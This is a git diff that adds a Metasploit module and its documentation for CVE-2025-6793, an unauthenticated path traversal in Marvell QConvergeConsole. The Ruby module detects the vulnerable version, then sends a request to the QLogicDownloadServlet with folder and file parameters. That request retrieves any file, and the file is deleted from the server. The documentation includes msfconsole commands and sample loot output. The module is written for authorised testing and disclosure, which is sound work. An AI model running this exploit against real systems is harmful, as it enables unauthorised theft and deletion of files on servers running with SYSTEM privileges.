diff --git a/documentation/modules/auxiliary/gather/qconvergeconsole_traversal.md b/documentation/modules/auxiliary/gather/qconvergeconsole_traversal.md new file mode 100644 index 0000000000000..cf64521adf7c9 --- /dev/null +++ b/documentation/modules/auxiliary/gather/qconvergeconsole_traversal.md @@ -0,0 +1,72 @@ +## Vulnerable Application + +This module exploits a path traversal vulnerability in Marvell QConvergeConsole <= v5.5.0.85 (CVE-2025-6793) to read arbitrary files from +the system. No authentication is required to exploit this issue. +Note that whatever file is retrieved will be deleted from the server it was fetched from. + +## Testing + +The software can be obtained from +[the vendor](https://www.marvell.com/content/dam/marvell/en/drivers/marvell/qcc-gui-management-installer-for-windows--x64--5-5-0-78/Windows_QCC_GUI_64_v5.5.0.78.zip). + +By default, the Apache Tomcat server listens on TCP ports 8080 (HTTP) and 8443 (HTTPS) on all network interfaces and runs in the context of +NT AUTHORITY\\SYSTEM. + +**Successfully tested on** + +- Marvell QConvergeConsole v5.5.0.78 on Windows 22H2 +- Marvell QConvergeConsole v5.5.0.81 on Windows 22H2 + +## Verification Steps + +1. Install and run the application +2. Start `msfconsole` and run the following commands: + +``` +msf > use auxiliary/gather/qconvergeconsole_traversal +msf auxiliary(gather/qconvergeconsole_traversal) > set RHOSTS +msf auxiliary(gather/qconvergeconsole_traversal) > run +``` + +This should return the win.ini file from the server. Any files retrieved will be deleted from the server and stored locally as loot. + +## Options + +### TARGET_FILE +The file to be retrieved from the file system. By default, this is win.ini. However, any arbitrary file can be specified. + +Example: win.ini + +### TARGET_DIR +Folder where the TARGET_FILE is located. + +Example: C:\Windows + +## Scenarios + +Running the exploit against v5.0.78 on Windows 22H22 should result in an output similar to the following: + +``` +msf auxiliary(gather/qconvergeconsole_traversal) > run +[*] Running module against 192.168.137.238 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Vulnerable version detected: v5.0.78 +[+] File retrieved: C:\Windows\win.ini +[*] File saved as loot: /home/asdf/.msf4/loot/20260416003715_default_192.168.137.238_qconvergeconsole_558041.txt +[*] Auxiliary module execution completed + +``` + +The file will be stored as loot: + +``` +msf auxiliary(gather/qconvergeconsole_traversal) > loot + +Loot +==== + +host service type name content info path +---- ------- ---- ---- ------- ---- ---- +192.168.137.238 qconvergeconsole.file win.ini text/plain File retrieved through QConvergeConsole path traversal (CVE-2025-6793). /home/asdf/.msf4/loot/20260416003826_default_192.168.137.238_qconvergeconsole_201403.txt + +``` diff --git a/modules/auxiliary/gather/qconvergeconsole_traversal.rb b/modules/auxiliary/gather/qconvergeconsole_traversal.rb new file mode 100644 index 0000000000000..30322d7f9e1f9 --- /dev/null +++ b/modules/auxiliary/gather/qconvergeconsole_traversal.rb @@ -0,0 +1,131 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Marvell QConvergeConsole Path Traversal (CVE-2025-6793)', + 'Description' => %q{ + This module exploits a path traversal vulnerability (CVE-2025-6793) in Marvell QConvergeConsole <= v5.5.0.85 to retrieve arbitrary files from the system. No authentication is required to exploit this issue. + Note that whatever file will be retrieved, will also be deleted from the remote server. + }, + 'Author' => [ + 'Michael Heinzl', # MSF Module + 'rgod' # Discovery + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-6793'], + ['URL', 'https://www.zerodayinitiative.com/advisories/ZDI-25-450/'] + ], + 'DisclosureDate' => '2025-06-27', + 'DefaultOptions' => { + 'RPORT' => 8443, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [], + 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path for QConvergeConsole', 'QConvergeConsole']), + OptString.new('TARGET_FILE', [false, 'The file path to read from the target system.', 'win.ini']), + OptString.new('TARGET_DIR', [true, 'The folder where the file is located.', 'C:\Windows']) + ] + ) + end + + def check + # code is obfuscated, retrieve file reference through gwt.Main.nocache.js + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri( + target_uri.path, 'com.qlogic.qms.hba.gwt.Main', 'com.qlogic.qms.hba.gwt.Main.nocache.js' + ) + }) + + return Exploit::CheckCode::Unknown('No response from server') unless res&.code == 200 + + # e.g., BB025677C3CC9C8B12F0CB2553088424 + strong_name = res.body.match(/Sb='([A-Fa-f0-9]{32})'/)&.captures&.first + strong_name ||= res.body.match(/([A-Fa-f0-9]{32})\.cache\.html/)&.captures&.first + + return Exploit::CheckCode::Detected('Could not determine GWT strong name') unless strong_name + + vprint_status("GWT strong name: #{strong_name}") + + res2 = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri( + target_uri.path, 'com.qlogic.qms.hba.gwt.Main', "#{strong_name}.cache.html" + ) + }) + + return Exploit::CheckCode::Detected('Could not retrieve cache file') unless res2&.code == 200 + + data = res2.body + + # Grab the first occurrence of a v5.0.x version; obfuscated response contains other version identifiers too for other components + match = data.match(/'v(5\.0\.\d+)'/i) || data.match(/v(5\.0\.\d+)/i) + + return Exploit::CheckCode::Detected('No version string found') unless match + + version = Rex::Version.new(match[1]) + + vprint_status("Detected version: #{version}") + + if version <= Rex::Version.new('5.0.85') + return Exploit::CheckCode::Appears("Vulnerable version detected: #{version}") + end + + Exploit::CheckCode::Safe("QConvergeConsole detected (version #{version})") + end + + def run + folder = URI.encode_www_form_component(datastore['TARGET_DIR']) + file = URI.encode_www_form_component(datastore['TARGET_FILE']) + + uri = normalize_uri( + target_uri.path, + 'com.qlogic.qms.hba.gwt.Main', + 'QLogicDownloadServlet' + ) + + uri = "#{uri}?folder=#{folder}&file=#{file}" + vprint_status("Request: #{uri}") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }) + + fail_with(Failure::UnexpectedReply, 'No response from server') unless res + fail_with(Failure::UnexpectedReply, "HTTP #{res.code}") unless res.code == 200 + fail_with(Failure::UnexpectedReply, 'Invalid path or file does not exist (empty body)') if res.body.nil? || res.body.empty? + + print_good("File retrieved: #{File.join(datastore['TARGET_DIR'], datastore['TARGET_FILE'])}") + + path = store_loot('qconvergeconsole.file', 'application/octet-stream', datastore['RHOSTS'], res.body, datastore['TARGET_FILE'], 'File retrieved through QConvergeConsole path traversal (CVE-2025-6793).') + print_status("File saved as loot: #{path}") + + report_service( + host: rhost, + port: rport, + proto: 'tcp', + name: 'https', + info: 'Marvell QConvergeConsole' + ) + end +end